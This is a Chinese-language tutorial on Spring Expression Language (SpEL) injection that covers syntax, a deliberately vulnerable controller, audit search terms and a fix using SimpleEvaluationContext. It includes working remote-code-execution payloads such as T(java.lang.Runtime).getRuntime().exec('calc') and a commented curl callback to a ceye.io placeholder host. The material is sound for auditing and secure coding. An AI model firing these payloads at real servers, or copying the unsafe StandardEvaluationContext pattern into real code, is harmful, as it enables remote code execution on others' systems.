Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。
1.SpEL 基础
在 pom.xml 导入 maven 或是把"org.springframework.expression-3.0.5.RELEASE.jar"添加到类路径中
<properties>
<org.springframework.version>5.0.8.RELEASE</org.springframework.version>
</properties>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>${org.springframework.version}</version>
</dependency>
SpEL 使用方式
SpEL 在求表达式值时一般分为四步,其中第三步可选:
首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' lisa').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
1.创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
2.解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象。
3.构造上下文:准备比如变量定义等等表达式需要的上下文数据。
4.求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。
spel表达式三种用法
注解
@value("#{表达式}")
public String arg;
这种一般是写死在代码中的,不是关注的重点
xml
<bean id="Bean1" class="com.test.xxx">
<property name="arg" value="#{表达式}">
</bean>
这种情况通常也是写死在代码中的,但是也有已知的利用场景,就是利用反序列化让程序加载我们实现构造好的恶意xml文件,如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等。
在代码中处理外部传入的表达式这部分是关注的重点。
@RequestMapping("/spel")
public String spel(@RequestParam(name = "spel") String spel) {
ExpressionParser expressionParser = new SpelExpressionParser();
Expression expression =expressionParser.parseExpression(spel);//将spel路径set进去
Object object = expression.getValue();//获取到spel执行后的内容
return object.toString();
}
漏洞利用的前置条件
传入的表达式未过滤
表达式解析之后调用了getValue/setValue方法
使用StandardEvaluationContext(默认)作为上下文对象
2.SpEL语法
SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
引用其他对象: #{car}
引用其他对象的属性: #{car.brand}
调用其它方法 , 还可以链式操作: #{car.toString()}
其中属性名称引用还可以用 $符号 如: ${someProperty}
除此以外在SpEL中,使用 T() 运算符会调用类作用域的方法和常量。
类类型表达式:使用"T(Type)"来表示 java.lang.Class 实例,"Type"必须是类全限定名,"java.lang"包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。
例如,在SpEL中使用Java的 Math类,我们可以像下面的示例这样使用 T()运算符:
#{T(java.lang.Math)}
T()运算符的结果会返回一个 java.lang.Math类对象。
3、案例
http://localhost:8080/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec('calc')
/**
* SpEL to RCE
* http://localhost:8080/spel/vul/?expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
Expression expression1 = parser.parseExpression(expression);
Object obje = expression1.getValue();
String obj_str = obje.toString();
return obj_str;
}
4、审计方法
可以先全局搜索 org.springframework.expression.spel.standard,或是 expression.getValue()、expression.setValue(),定位到具体漏洞代码,再分析传入的参数能不能利用,最后再追踪参数来源,
看看是否可控。
5、修复建议
SimpleEvaluationContext、StandardEvaluationContext 是 SpEL提供的两个 EvaluationContext
SimpleEvaluationContext - 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 Spal 语言特性和配置选项的子集。
StandardEvaluationContext - 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用;所以最直接的修复方式是使用 SimpleEvaluationContext 替换StandardEvaluationContext
修复代码:
@GetMapping("/spel/sec")
public String spel_sec(String expression) {
ExpressionParser parser = new SpelExpressionParser();
//只读属性
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
return parser.parseExpression(expression).getValue(context).toString();
}
6、关键词
SpelExpressionParser StandardEvaluationContext#{